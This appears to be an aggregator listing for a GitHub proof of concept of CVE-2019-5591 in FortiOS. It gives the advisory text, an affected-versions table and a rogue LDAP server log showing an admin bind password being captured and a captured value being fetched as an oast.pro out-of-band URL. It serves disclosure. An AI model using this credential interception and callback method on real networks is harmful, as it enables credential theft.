CVE-2019-5591 PoC — Fortinet FortiOS 信息泄露漏洞

Source

https://github.com/ayewo/fortios-ldap-mitm-poc-CVE-2019-5591

Associated Vulnerability

Title:Fortinet FortiOS 信息泄露漏洞 (CVE-2019-5591)
Description:A Default Configuration vulnerability in FortiOS may allow an unauthenticated attacker on the same subnet to intercept sensitive information by impersonating the LDAP server.

Description

The default configuration of LDAP on FortiOS v6.0.x to v6.2.0 does not check server identity for LDAP/S leading to MITM attacks. This PoC demos full exfiltration of credentials sent on the local subnet to an LDAP server that is easily impersonated.

Readme

# CVE-2019-5591

This Proof of Concept (PoC) demonstrates a MITM (Man-In-The-Middle) Attack: 
impersonation of an LDAP server on the local subnet of a FortiGate device running a vulnerable version of FortiOS. 


## Affected Versions
These [versions](https://www.fortiguard.com/psirt/FG-IR-19-037) are vulnerable:
 
| Version | Affected | Solution |
|---------|----------|----------|
| FortiOS 7.0 | Not affected | Not Applicable |
| FortiOS 6.0 | 6.0.3 through 6.2.0 | Upgrade to 6.2.1 or above |


## Detection in Action
FortiOS 6.2.0 running inside VMware Fusion was used for the PoC.

```sh

[2025-10-16 22:59:47.366765] New connection from 192.168.43.24:54789

--- Request #1 ---
BIND Request:
  Message ID: 1
  DN: cn=admin,dc=example,dc=com
  Password: ldapAdMiNPassw0rd!
  -> Sent BIND Response (Success)

--- Request #2 ---
SEARCH Request:
  Message ID: 2
  Base DN: dc=example,dc=com
  Filter: 

cn
nLBkcjDTHC01.1...
  -> Sent SEARCH Result Entry
  -> Sent SEARCH Result Done

--- Request #3 ---
BIND Request:
  Message ID: 3
  DN: dc=example,dc=com
  Password: d3omljs2kel69tn1dun0m4mykgw1uafyz.oast.pro

🔑 CAPTURED PASSWORD: d3omljs2kel69tn1dun0m4mykgw1uafyz.oast.pro
🔧 No scheme found — prepending https:// -> https://d3omljs2kel69tn1dun0m4mykgw1uafyz.oast.pro
📡 Attempting GET request to: https://d3omljs2kel69tn1dun0m4mykgw1uafyz.oast.pro
✅ GET request successful! Status code: 200
  -> Sent BIND Response (Success)

--- Request #4 ---
SEARCH Request:
  Message ID: 4
  Base DN: dc=example,dc=com
  Filter: 


objectclass0memberOfprimaryG...
  -> Sent SEARCH Result Entry
  -> Sent SEARCH Result Done

--- Request #5 ---

[2025-10-16 22:59:49.159193] Connection closed from 192.168.43.24:54789

============================================================
SESSION SUMMARY - Captured Password: d3omljs2kel69tn1dun0m4mykgw1uafyz.oast.pro
============================================================

```


## Description
The default configuration of LDAP on FortiOS v6.0.x to v6.2.0 does not check server identity for LDAP/S leading to MITM attacks. This PoC demos full exfiltration of credentials sent on the local subnet to an LDAP server that is easily impersonated.

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